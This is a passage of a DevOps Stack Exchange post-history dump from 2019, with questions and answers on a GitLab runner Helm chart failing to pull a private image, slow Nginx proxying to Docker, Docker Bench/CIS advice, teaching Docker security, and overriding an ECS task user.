${PROJECT_NAME} --namespace=${KUBERNETES_NAMESPACE_OVERWRITE} . -f values.yaml&#xD;&#xA;      else&#xD;&#xA;      echo &quot;Updating the chart ...&quot;&#xD;&#xA;        helm upgrade ${PROJECT_NAME} --namespace=${KUBERNETES_NAMESPACE_OVERWRITE} . -f values.yaml&#xD;&#xA;      fi&#xD;&#xA;    } &#xD;&#xA;&#xD;&#xA;The first function allow the gitlabrunner to login with docker, init helm and kubectl. The second to deploy on the cluster my image.&#xD;&#xA;&#xD;&#xA;All the process works well, e-g my jobs are passed on the gitlab ci, no error occurred except for the deployment of the pod.&#xD;&#xA;&#xD;&#xA;**Indeed I have this error**:&#xD;&#xA;&#xD;&#xA;    Failed to pull image &quot;registry.gitlab.com/path/to/repo/project/image:TAG_NUMBER&quot;: rpc error: code&#xD;&#xA;    = Unknown desc = Error response from daemon: Get https://registry.gitlab.com/v2/path/to/repo/project/image/manifests/image:TAG_NUMBER: denied: access forbidden&#xD;&#xA;&#xD;&#xA;To be more specific, I am using [gitlab-runner helm chart][1] and this the config of the chart:&#xD;&#xA;&#xD;&#xA;    ## GitLab Runner Image&#xD;&#xA;    ##&#xD;&#xA;    ## By default it's using gitlab/gitlab-runner:alpine-v{VERSION}&#xD;&#xA;    ## where {VERSION} is taken from Chart.yaml from appVersion field&#xD;&#xA;    ##&#xD;&#xA;    ## ref: https://hub.docker.com/r/gitlab/gitlab-runner/tags/&#xD;&#xA;    ##&#xD;&#xA;    # image: gitlab/gitlab-runner:alpine-v11.6.0&#xD;&#xA;    &#xD;&#xA;    ## Specify a imagePullPolicy&#xD;&#xA;    ## 'Always' if imageTag is 'latest', else set to 'IfNotPresent'&#xD;&#xA;    ## ref: http://kubernetes.io/docs/user-guide/images/#pre-pulling-images&#xD;&#xA;    ##&#xD;&#xA;    imagePullPolicy: IfNotPresent&#xD;&#xA;    &#xD;&#xA;    ## The GitLab Server URL (with protocol) that want to register the runner against&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/commands/README.html#gitlab-runner-register&#xD;&#xA;    ##&#xD;&#xA;    gitlabUrl: https://gitlab.com/&#xD;&#xA;    &#xD;&#xA;    ## The Registration Token for adding new Runners to the GitLab Server. This must&#xD;&#xA;    ## be retrieved from your GitLab Instance.&#xD;&#xA;    ## ref: https://docs.gitlab.com/ce/ci/runners/README.html#creating-and-registering-a-runner&#xD;&#xA;    ##&#xD;&#xA;    runnerRegistrationToken: &quot;&lt;token&gt;&quot;&#xD;&#xA;    &#xD;&#xA;    ## The Runner Token for adding new Runners to the GitLab Server. This must&#xD;&#xA;    ## be retrieved from your GitLab Instance. It is token of already registered runner.&#xD;&#xA;    ## ref: (we don't yet have docs for that, but we want to use existing token)&#xD;&#xA;    ##&#xD;&#xA;    # runnerToken: &quot;&quot;&#xD;&#xA;    #&#xD;&#xA;    ## Unregister all runners before termination&#xD;&#xA;    ##&#xD;&#xA;    ## Updating the runner's chart version or configuration will cause the runner container&#xD;&#xA;    ## to be terminated and created again. This may cause your Gitlab instance to reference&#xD;&#xA;    ## non-existant runners. Un-registering the runner before termination mitigates this issue.&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/commands/README.html#gitlab-runner-unregister&#xD;&#xA;    ##&#xD;&#xA;    unregisterRunners: true&#xD;&#xA;    &#xD;&#xA;    ## Set the certsSecretName in order to pass custom certficates for GitLab Runner to use&#xD;&#xA;    ## Provide resource name for a Kubernetes Secret Object in the same namespace,&#xD;&#xA;    ## this is used to populate the /etc/gitlab-runner/certs directory&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/tls-self-signed.html#supported-options-for-self-signed-certificates&#xD;&#xA;    ##&#xD;&#xA;    # certsSecretName:&#xD;&#xA;    &#xD;&#xA;    ## Configure the maximum number of concurrent jobs&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section&#xD;&#xA;    ##&#xD;&#xA;    concurrent: 10&#xD;&#xA;    &#xD;&#xA;    ## Defines in seconds how often to check GitLab for a new builds&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section&#xD;&#xA;    ##&#xD;&#xA;    checkInterval: 30&#xD;&#xA;    &#xD;&#xA;    ## Configure GitLab Runner's logging level. Available values are: debug, info, warn, error, fatal, panic&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-global-section&#xD;&#xA;    ##&#xD;&#xA;    # logLevel:&#xD;&#xA;    &#xD;&#xA;    ## For RBAC support:&#xD;&#xA;    rbac:&#xD;&#xA;      create: true&#xD;&#xA;    &#xD;&#xA;      ## Run the gitlab-bastion container with the ability to deploy/manage containers of jobs&#xD;&#xA;      ## cluster-wide or only within namespace&#xD;&#xA;      clusterWideAccess: true&#xD;&#xA;    &#xD;&#xA;      ## Use the following Kubernetes Service Account name if RBAC is disabled in this Helm chart (see rbac.create)&#xD;&#xA;      ##&#xD;&#xA;      serviceAccountName: default&#xD;&#xA;    &#xD;&#xA;    ## Configure integrated Prometheus metrics exporter&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/monitoring/#configuration-of-the-metrics-http-server&#xD;&#xA;    metrics:&#xD;&#xA;      enabled: true&#xD;&#xA;    &#xD;&#xA;    ## Configuration for the Pods that that the runner launches for each new job&#xD;&#xA;    ##&#xD;&#xA;    runners:&#xD;&#xA;      ## Default container image to use for builds when none is specified&#xD;&#xA;      ##&#xD;&#xA;      image: ubuntu:16.04&#xD;&#xA;    &#xD;&#xA;      ## Specify one or more imagePullSecrets&#xD;&#xA;      ##&#xD;&#xA;      ## ref: https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/&#xD;&#xA;      ##&#xD;&#xA;      imagePullSecrets: [&quot;namespace-1&quot;, &quot;namespace-2&quot;, &quot;default&quot;]&#xD;&#xA;    &#xD;&#xA;      ## Specify the image pull policy: never, if-not-present, always. The cluster default will be used if not set.&#xD;&#xA;      ##&#xD;&#xA;      # imagePullPolicy: &quot;&quot;&#xD;&#xA;    &#xD;&#xA;      ## Specify whether the runner should be locked to a specific project: true, false. Defaults to true.&#xD;&#xA;      ##&#xD;&#xA;      # locked: true&#xD;&#xA;    &#xD;&#xA;      ## Specify the tags associated with the runner. Comma-separated list of tags.&#xD;&#xA;      ##&#xD;&#xA;      ## ref: https://docs.gitlab.com/ce/ci/runners/#using-tags&#xD;&#xA;      ##&#xD;&#xA;      tags: my-tag-1, my-tag-2&quot;&#xD;&#xA;    &#xD;&#xA;      ## Run all containers with the privileged flag enabled&#xD;&#xA;      ## This will allow the docker:dind image to run if you need to run Docker&#xD;&#xA;      ## commands. Please read the docs before turning this on:&#xD;&#xA;      ## ref: https://docs.gitlab.com/runner/executors/kubernetes.html#using-docker-dind&#xD;&#xA;      ##&#xD;&#xA;      privileged: true&#xD;&#xA;    &#xD;&#xA;      ## The name of the secret containing runner-token and runner-registration-token&#xD;&#xA;      # secret: gitlab-runner&#xD;&#xA;    &#xD;&#xA;      ## Namespace to run Kubernetes jobs in (defaults to the same namespace of this release)&#xD;&#xA;      ##&#xD;&#xA;      # namespace:&#xD;&#xA;    &#xD;&#xA;      # Regular expression to validate the contents of the namespace overwrite environment variable (documented following).&#xD;&#xA;      # When empty, it disables the namespace overwrite feature&#xD;&#xA;      namespace_overwrite_allowed: overrided-namespace-*&#xD;&#xA;    &#xD;&#xA;      ## Distributed runners caching&#xD;&#xA;      ## ref: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/configuration/autoscale.md#distributed-runners-caching&#xD;&#xA;      ##&#xD;&#xA;      ## If you want to use s3 based distributing caching:&#xD;&#xA;      ## First of all you need to uncomment General settings and S3 settings sections.&#xD;&#xA;      ##&#xD;&#xA;      ## Create a secret 's3access' containing 'accesskey' &amp; 'secretkey'&#xD;&#xA;      ## ref: https://aws.amazon.com/blogs/security/wheres-my-secret-access-key/&#xD;&#xA;      ##&#xD;&#xA;      ## $ kubectl create secret generic s3access \&#xD;&#xA;      ##   --from-literal=accesskey=&quot;YourAccessKey&quot; \&#xD;&#xA;      ##   --from-literal=secretkey=&quot;YourSecretKey&quot;&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/secret/&#xD;&#xA;      ##&#xD;&#xA;      ## If you want to use gcs based distributing caching:&#xD;&#xA;      ## First of all you need to uncomment General settings and GCS settings sections.&#xD;&#xA;      ##&#xD;&#xA;      ## Access using credentials file:&#xD;&#xA;      ## Create a secret 'google-application-credentials' containing your application credentials file.&#xD;&#xA;      ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-cache-gcs-section&#xD;&#xA;      ## You could configure&#xD;&#xA;      ## $ kubectl create secret generic google-application-credentials \&#xD;&#xA;      ##   --from-file=gcs-applicaton-credentials-file=./path-to-your-google-application-credentials-file.json&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/secret/&#xD;&#xA;      ##&#xD;&#xA;      ## Access using access-id and private-key:&#xD;&#xA;      ## Create a secret 'gcsaccess' containing 'gcs-access-id' &amp; 'gcs-private-key'.&#xD;&#xA;      ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-cache-gcs-section&#xD;&#xA;      ## You could configure&#xD;&#xA;      ## $ kubectl create secret generic gcsaccess \&#xD;&#xA;      ##   --from-literal=gcs-access-id=&quot;YourAccessID&quot; \&#xD;&#xA;      ##   --from-literal=gcs-private-key=&quot;YourPrivateKey&quot;&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/secret/&#xD;&#xA;      cache: {}&#xD;&#xA;        ## General settings&#xD;&#xA;        # cacheType: s3&#xD;&#xA;        # cachePath: &quot;cache&quot;&#xD;&#xA;        # cacheShared: true&#xD;&#xA;    &#xD;&#xA;        ## S3 settings&#xD;&#xA;        # s3ServerAddress: s3.amazonaws.com&#xD;&#xA;        # s3BucketName:&#xD;&#xA;        # s3BucketLocation:&#xD;&#xA;        # s3CacheInsecure: false&#xD;&#xA;        # secretName: s3access&#xD;&#xA;    &#xD;&#xA;        ## GCS settings&#xD;&#xA;        # gcsBucketName:&#xD;&#xA;        ## Use this line for access using access-id and private-key&#xD;&#xA;        # secretName: gcsaccess&#xD;&#xA;        ## Use this line for access using google-application-credentials file&#xD;&#xA;        # secretName: google-application-credential&#xD;&#xA;    &#xD;&#xA;      ## Build Container specific configuration&#xD;&#xA;      ##&#xD;&#xA;      builds:&#xD;&#xA;        # cpuLimit: 200m&#xD;&#xA;        # memoryLimit: 256Mi&#xD;&#xA;        cpuRequests: 100m&#xD;&#xA;        memoryRequests: 128Mi&#xD;&#xA;    &#xD;&#xA;      ## Service Container specific configuration&#xD;&#xA;      ##&#xD;&#xA;      services:&#xD;&#xA;        # cpuLimit: 200m&#xD;&#xA;        # memoryLimit: 256Mi&#xD;&#xA;        cpuRequests: 100m&#xD;&#xA;        memoryRequests: 128Mi&#xD;&#xA;    &#xD;&#xA;      ## Helper Container specific configuration&#xD;&#xA;      ##&#xD;&#xA;      helpers:&#xD;&#xA;        # cpuLimit: 200m&#xD;&#xA;        # memoryLimit: 256Mi&#xD;&#xA;        cpuRequests: 100m&#xD;&#xA;        memoryRequests: 128Mi&#xD;&#xA;        image: gitlab/gitlab-runner-helper:x86_64-latest&#xD;&#xA;    &#xD;&#xA;      ## Service Account to be used for runners&#xD;&#xA;      ##&#xD;&#xA;      # serviceAccountName:&#xD;&#xA;    &#xD;&#xA;      ## If Gitlab is not reachable through $CI_SERVER_URL&#xD;&#xA;      ##&#xD;&#xA;      # cloneUrl:&#xD;&#xA;    &#xD;&#xA;      ## Specify node labels for CI job pods assignment&#xD;&#xA;      ## ref: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/&#xD;&#xA;      ##&#xD;&#xA;      nodeSelector: {}&#xD;&#xA;        # gitlab: true&#xD;&#xA;    &#xD;&#xA;    ## Configure resource requests and limits&#xD;&#xA;    ## ref: http://kubernetes.io/docs/user-guide/compute-resources/&#xD;&#xA;    ##&#xD;&#xA;    resources:&#xD;&#xA;      # limits:&#xD;&#xA;      #   memory: 256Mi&#xD;&#xA;      #   cpu: 200m&#xD;&#xA;      requests:&#xD;&#xA;        memory: 128Mi&#xD;&#xA;        cpu: 100m&#xD;&#xA;    &#xD;&#xA;    ## Affinity for pod assignment&#xD;&#xA;    ## Ref: https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#affinity-and-anti-affinity&#xD;&#xA;    ##&#xD;&#xA;    affinity: {}&#xD;&#xA;    &#xD;&#xA;    ## Node labels for pod assignment&#xD;&#xA;    ## Ref: https://kubernetes.io/docs/user-guide/node-selection/&#xD;&#xA;    ##&#xD;&#xA;    nodeSelector: {}&#xD;&#xA;      # Example: The gitlab runner manager should not run on spot instances so you can assign&#xD;&#xA;      # them to the regular worker nodes only.&#xD;&#xA;      # node-role.kubernetes.io/worker: &quot;true&quot;&#xD;&#xA;    &#xD;&#xA;    ## List of node taints to tolerate (requires Kubernetes &gt;= 1.6)&#xD;&#xA;    ## Ref: https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/&#xD;&#xA;    ##&#xD;&#xA;    tolerations: []&#xD;&#xA;      # Example: Regular worker nodes may have a taint, thus you need to tolerate the taint&#xD;&#xA;      # when you assign the gitlab runner manager with nodeSelector or affinity to the nodes.&#xD;&#xA;      # - key: &quot;node-role.kubernetes.io/worker&quot;&#xD;&#xA;      #   operator: &quot;Exists&quot;&#xD;&#xA;    &#xD;&#xA;    ## Configure environment variables that will be present when the registration command runs&#xD;&#xA;    ## This provides further control over the registration process and the config.toml file&#xD;&#xA;    ## ref: `gitlab-runner register --help`&#xD;&#xA;    ## ref: https://docs.gitlab.com/runner/configuration/advanced-configuration.html&#xD;&#xA;    ##&#xD;&#xA;    envVars:&#xD;&#xA;      - name: RUNNER_EXECUTOR&#xD;&#xA;        value: kubernetes&#xD;&#xA;&#xD;&#xA;As you can see, I created a **secret** on my ci job, no error occurred here too. In my chart, I declare this same secret (by his name) in `values.yaml` file, which allow `deployment.yaml` to use it.&#xD;&#xA;&#xD;&#xA;So I do not understand where I am wrong. Why I get this error ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/install/kubernetes/gitlab_runner_chart.html#configuration" ContentLicense="CC BY-SA 4.0" />
  <row Id="19872" PostHistoryTypeId="1" PostId="6216" RevisionGUID="60443ef6-7e09-400a-81c9-2bfe95fe1e30" CreationDate="2019-02-04T09:22:15.107" UserId="12203" Text="Access denied when pulling private registry image using helm with gitlab runner helm chart and ci job" ContentLicense="CC BY-SA 4.0" />
  <row Id="19873" PostHistoryTypeId="3" PostId="6216" RevisionGUID="60443ef6-7e09-400a-81c9-2bfe95fe1e30" CreationDate="2019-02-04T09:22:15.107" UserId="12203" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;gitlab&gt;&lt;helm&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19874" PostHistoryTypeId="2" PostId="6217" RevisionGUID="8b1837ce-9614-49c8-ab0b-a153ee8acde8" CreationDate="2019-02-04T09:25:14.750" UserId="10357" Text="You can provide subdomain entry for client use. eg. Client_x.yourapplication_domain.com. Otherwise, you need to have workaround like putting request forwarder(proxy LB) in front of your application and configure client domain with SSL there. Forward clientdomain.com to Client_x.yourapplication_domain.com. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19875" PostHistoryTypeId="2" PostId="6218" RevisionGUID="62eccd7f-9091-4652-8fe8-4c19a011a399" CreationDate="2019-02-04T11:01:47.277" UserId="12145" Text="What I have created is:&#xD;&#xA;&#xD;&#xA;I have a Docker container that is published the port &quot;3000:3000&quot;.&#xD;&#xA;&#xD;&#xA;If I'm accessing the container in this way: http://example.com:3000 everything is working great.&#xD;&#xA;&#xD;&#xA;The problem appears when I install on example.com server (CentOS7) Nginx.&#xD;&#xA;I configured Nginx in this way:&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;        listen 80;&#xD;&#xA;&#xD;&#xA;        root /opt/;&#xD;&#xA;        index index.php index.html index.htm;&#xD;&#xA;&#xD;&#xA;        server_name example.com;&#xD;&#xA;&#xD;&#xA;        location / {&#xD;&#xA;            proxy_set_header X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header X-Forwarded-Protocol $scheme;&#xD;&#xA;            proxy_pass http://localhost:3000;&#xD;&#xA;            proxy_set_header X-Host $http_host;&#xD;&#xA;            proxy_http_version 1.1;&#xD;&#xA;            proxy_set_header Connection &quot;&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now, if I want to access my container via http://example.com (without to tell the port 3000) the network/connection/speed is incredible slow.&#xD;&#xA;&#xD;&#xA;Had someone this issue before?&#xD;&#xA;What can I do to solve the issue?&#xD;&#xA;&#xD;&#xA;In Nginx I'm seeing errors like this:&#xD;&#xA;&#xD;&#xA;     2019/02/04 11:53:18 [error] 8667#0: *289 upstream timed out (110: Connection timed out) while reading response header from upstream, client:&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19876" PostHistoryTypeId="1" PostId="6218" RevisionGUID="62eccd7f-9091-4652-8fe8-4c19a011a399" CreationDate="2019-02-04T11:01:47.277" UserId="12145" Text="Very slow network when serve container content via Nginx after published Docker port" ContentLicense="CC BY-SA 4.0" />
  <row Id="19877" PostHistoryTypeId="3" PostId="6218" RevisionGUID="62eccd7f-9091-4652-8fe8-4c19a011a399" CreationDate="2019-02-04T11:01:47.277" UserId="12145" Text="&lt;docker&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19878" PostHistoryTypeId="2" PostId="6219" RevisionGUID="2a1f375c-b0d4-413f-bf73-be1f3c763912" CreationDate="2019-02-04T12:28:45.347" UserId="4372" Text="You can try the [thinBackup][1] plugin (even though it is not actively maintained) [if taking a *logical* backup is all you want] (i.e. most of the config xml files, jobs, nodes etc). The backup size won't be huge.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/thinBackup" ContentLicense="CC BY-SA 4.0" />
  <row Id="19879" PostHistoryTypeId="2" PostId="6220" RevisionGUID="6a2bc314-ab4b-4d98-a393-f2eb4f867e6a" CreationDate="2019-02-04T12:44:31.283" UserId="11179" Text="&#xD;&#xA;On a development host, do you consider it still worth installing the development tools (compiler, interpreter, package manager, testing tools, ...) on the host? Or are the developers supposed to interact with those tools through an environment&lt;sup&gt;1&lt;/sup&gt; standardized at project level to ensure a consistent development stack across the team and with the production environment?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;local virtual environment, chroot, container, remote login on a compile farm&lt;/sub&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;sub&gt;Note: somewhat related to a [previous&#xD;&#xA;question](https://devops.stackexchange.com/questions/6195/blackbox-testing-vs-openbox-testing-applications-in-a-containerized-environment) &lt;/sub&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19880" PostHistoryTypeId="1" PostId="6220" RevisionGUID="6a2bc314-ab4b-4d98-a393-f2eb4f867e6a" CreationDate="2019-02-04T12:44:31.283" UserId="11179" Text="Should development tools be installed on the host or in an environment standardized at project level?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19881" PostHistoryTypeId="3" PostId="6220" RevisionGUID="6a2bc314-ab4b-4d98-a393-f2eb4f867e6a" CreationDate="2019-02-04T12:44:31.283" UserId="11179" Text="&lt;development-environment&gt;&lt;virtualenv&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19882" PostHistoryTypeId="5" PostId="6220" RevisionGUID="a1a3ea44-4cfd-498e-8b9e-026d4a9f2cb0" CreationDate="2019-02-04T13:09:25.373" UserId="11179" Comment="added 3 characters in body" Text="On a development host, do you consider it still worth installing the development tools (compiler, interpreter, package manager, testing tools, ...) on the host? Or are the developers supposed to interact with those tools through an environment&lt;sup&gt;1&lt;/sup&gt; standardized at project level to ensure a consistent development stack across the team and with the production environment?&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt;&lt;sub&gt;local virtual environment, chroot, container, remote login on a compile farm, ...&lt;/sub&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;sub&gt;Note: somewhat related to a [previous&#xD;&#xA;question](https://devops.stackexchange.com/questions/6195/blackbox-testing-vs-openbox-testing-applications-in-a-containerized-environment) &lt;/sub&gt;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19883" PostHistoryTypeId="2" PostId="6221" RevisionGUID="8e4ebdcf-16de-47f3-9212-82d62d9d764f" CreationDate="2019-02-04T13:18:17.750" UserId="7730" Text="Docker Bench is a scripted report of many of the CIS recommendations (at least those that can be scripted. Various organizations use the CIS recommendations as a starting point for their security policy, the goal is to have a recognized organization provide the best practices. This is useful when dealing with auditors in regulated environments since a company can often show what they've done towards the CIS recommendations to quickly get through most of the audit (the auditors will be familiar with the CIS recommendations).&#xD;&#xA;&#xD;&#xA;That said, I personally feel the advice from CIS is a mixed bag when dealing with Docker. Some of the suggestions look like a copy and paste from advice given to security physical bare metal systems, rather than a sandboxed application. And some of the recommended practices, weird things like avoiding the use of `ADD` in a Dockerfile, have little security reasoning (anything you can include with an `ADD` of a tar you could include with a `COPY` of a full directory) and will flag just about every image you are running since `ADD` is used as the first step of nearly every base image. There's a list of other advice they give that has little to nothing to do with security and is just a recommended configuration setting that cannot be applied in all environments.&#xD;&#xA;&#xD;&#xA;What's lacking with CIS recommendations for Docker is actually securing the applications running inside of the container. This gets out of scope since you can run anything in a container, and they often have other recommendations that cover this. However, I think it's important since many of the security exploits using containers have nothing to do with docker but rather running vulnerable applications in docker.&#xD;&#xA;&#xD;&#xA;Because of this, my advice is to start with CIS but then adapt it for your own environment, remove the advice has little security benefit, and add in recommendations that can help secure the environment for your own use case." ContentLicense="CC BY-SA 4.0" />
  <row Id="19884" PostHistoryTypeId="2" PostId="6222" RevisionGUID="a3197149-c92c-4bdf-a0fa-3fe45ee6c8a8" CreationDate="2019-02-04T13:23:04.747" UserId="47" Text="I'd say whatever works for your context.&#xD;&#xA;&#xD;&#xA;It's not always possible to have a standardized environment (as in container/VM solutions) at the project level which can be used effectively regardless of the host type/state. For example we had some massive builds for which we used finely tuned bare-metal machines for performance reasons - ~40% faster builds than with the most performant environment the ops teams could offer). So we used hosts in this case.&#xD;&#xA;&#xD;&#xA;But nothing stops you from having host configurations standardized at the project level (which is what we had). Or, better yet, standardized environments running on  standard-configured hosts - which *might* allow you to achieve higher optimisation levels by using existing host resources instead of building them from scratch in each environment - if that's what you're really after.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19885" PostHistoryTypeId="5" PostId="6218" RevisionGUID="41676b63-6c4f-4af6-8dfa-eec471a034cb" CreationDate="2019-02-04T14:22:43.080" UserId="12145" Comment="added 159 characters in body" Text="What I have created is:&#xD;&#xA;&#xD;&#xA;I have a Docker container that is published the port &quot;3000:3000&quot;.&#xD;&#xA;&#xD;&#xA;If I'm accessing the container in this way: http://example.com:3000 everything is working great.&#xD;&#xA;&#xD;&#xA;The problem appears when I install on example.com server (CentOS7) Nginx.&#xD;&#xA;I configured Nginx in this way:&#xD;&#xA;&#xD;&#xA;    server {&#xD;&#xA;        listen 80;&#xD;&#xA;&#xD;&#xA;        root /opt/;&#xD;&#xA;        index index.php index.html index.htm;&#xD;&#xA;&#xD;&#xA;        server_name example.com;&#xD;&#xA;&#xD;&#xA;        location / {&#xD;&#xA;            proxy_set_header X-Real-IP $remote_addr;&#xD;&#xA;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;&#xD;&#xA;            proxy_set_header X-Forwarded-Protocol $scheme;&#xD;&#xA;            proxy_pass http://localhost:3000;&#xD;&#xA;            proxy_set_header X-Host $http_host;&#xD;&#xA;            proxy_http_version 1.1;&#xD;&#xA;            proxy_set_header Connection &quot;&quot;;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Now, if I want to access my container via http://example.com (without to tell the port 3000) the network/connection/speed is incredible slow.&#xD;&#xA;&#xD;&#xA;Had someone this issue before?&#xD;&#xA;What can I do to solve the issue?&#xD;&#xA;&#xD;&#xA;In Nginx I'm seeing errors like this:&#xD;&#xA;&#xD;&#xA;     2019/02/04 11:53:18 [error] 8667#0: *289 upstream timed out (110: Connection timed out) while reading response header from upstream, client:&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;&#xD;&#xA;&gt; EDIT: I want to specify that the app is in replicas mode and I have 3 replicas (and 3 servers; one replica/app with port 3000 published for each server).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19888" PostHistoryTypeId="2" PostId="6223" RevisionGUID="c3326561-9136-4e65-bad6-a59f795b1df4" CreationDate="2019-02-04T17:02:57.183" UserId="11179" Text="I'm in the process of preparing a Docker course for students with little to no familiarities with containers, the underlying OS mechanisms involved, and their implied limitations.&#xD;&#xA;&#xD;&#xA;In many Docker tutorials, security concerns often go unmentioned. And it is easy to assume there are not much security issues involved by running containerized application on a general purpose system.&#xD;&#xA;&#xD;&#xA;On my side, I would raise students awareness about these issues early as part of my course. It is not necessarily about teaching them how to mitigate these issues. But really about dismantle that misconception Docker is secure by default. Unfortunately, I could not afford spending to much curriculum time on these aspects.&#xD;&#xA;&#xD;&#xA;**So, I'm looking for tools and/or examples that could be easily run and understood by my students so they get an idea of the possible security implications of using Docker. What would you suggest?**&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;For what it worth, I initially thought about:&#xD;&#xA;&#xD;&#xA; * [rooting a Docker host](https://www.electricmonk.nl/log/2017/09/30/root-your-docker-host-in-10-seconds-for-fun-and-profit/) -- which seems a good example&#xD;&#xA; * and running [Docker Bench](https://github.com/docker/docker-bench-security). But from [that answer](https://devops.stackexchange.com/a/6221/11179), Docker Bench is probably not the best tool for my particular needs.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19889" PostHistoryTypeId="1" PostId="6223" RevisionGUID="c3326561-9136-4e65-bad6-a59f795b1df4" CreationDate="2019-02-04T17:02:57.183" UserId="11179" Text="How to raise awareness about the security risk involved with running Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19890" PostHistoryTypeId="3" PostId="6223" RevisionGUID="c3326561-9136-4e65-bad6-a59f795b1df4" CreationDate="2019-02-04T17:02:57.183" UserId="11179" Text="&lt;docker&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19891" PostHistoryTypeId="2" PostId="6224" RevisionGUID="203d14d4-c67d-48bd-8034-4e368801724f" CreationDate="2019-02-04T17:45:45.350" UserId="3" Text="I've got a _Task Definition_ with [parameters](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html) which executes a script using a regular user.&#xD;&#xA;&#xD;&#xA;I'd like to test the script without changing the _Task Definition_ by overriding the default user which script is running by using `--overrides` parameter of [`aws run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html) command. For example:&#xD;&#xA;&#xD;&#xA;    $ aws ecs run-task \&#xD;&#xA;        --profile myprofile \&#xD;&#xA;        --cluster foo \&#xD;&#xA;        --task-definition mytask \&#xD;&#xA;        --overrides '{&quot;containerOverrides&quot;:[{&quot;user&quot;: &quot;root&quot;}]}'&#xD;&#xA;&#xD;&#xA;It returns:&#xD;&#xA;&#xD;&#xA;&gt; Parameter validation failed:&#xD;&#xA;&gt; Unknown parameter in overrides.containerOverrides[0]: &quot;user&quot;, must be one of: name, command, environment, cpu, memory, memoryReservation.&#xD;&#xA;&#xD;&#xA;And when running with _containerDefinitions_ key:&#xD;&#xA;&#xD;&#xA;    $ aws ecs run-task \&#xD;&#xA;        --profile myprofile \&#xD;&#xA;        --cluster foo \&#xD;&#xA;        --task-definition mytask \&#xD;&#xA;        --overrides '{&quot;containerDefinitions&quot;:[{&quot;user&quot;: &quot;root&quot;}]}'&#xD;&#xA;&#xD;&#xA;I've got this error:&#xD;&#xA;&#xD;&#xA;&gt; Parameter validation failed:&#xD;&#xA;&gt; Unknown parameter in overrides: &quot;containerDefinitions&quot;, must be one of: containerOverrides, taskRoleArn, executionRoleArn&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've found the post [how to change the environment variables using `aws ecs run-task`](https://stackoverflow.com/q/41373167/55075), but it's not clear how to change the user. Help page isn't clear as well (`aws ecs run-task help`).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my task definition:&#xD;&#xA;&#xD;&#xA;    $ aws ecs describe-task-definition --profile myprofile --task-definition mytask&#xD;&#xA;    {&#xD;&#xA;        &quot;taskDefinition&quot;: {&#xD;&#xA;            &quot;taskDefinitionArn&quot;: &quot;...&quot;,&#xD;&#xA;            &quot;containerDefinitions&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;name&quot;: &quot;post_deploy&quot;,&#xD;&#xA;                    &quot;image&quot;: &quot;...dkr.ecr.eu-west-1.amazonaws.com/..&quot;,&#xD;&#xA;                    &quot;command&quot;: [&#xD;&#xA;                        &quot;bash&quot;,&#xD;&#xA;                        &quot;post_deploy.sh&quot;&#xD;&#xA;                    ],&#xD;&#xA;                    &quot;user&quot;: 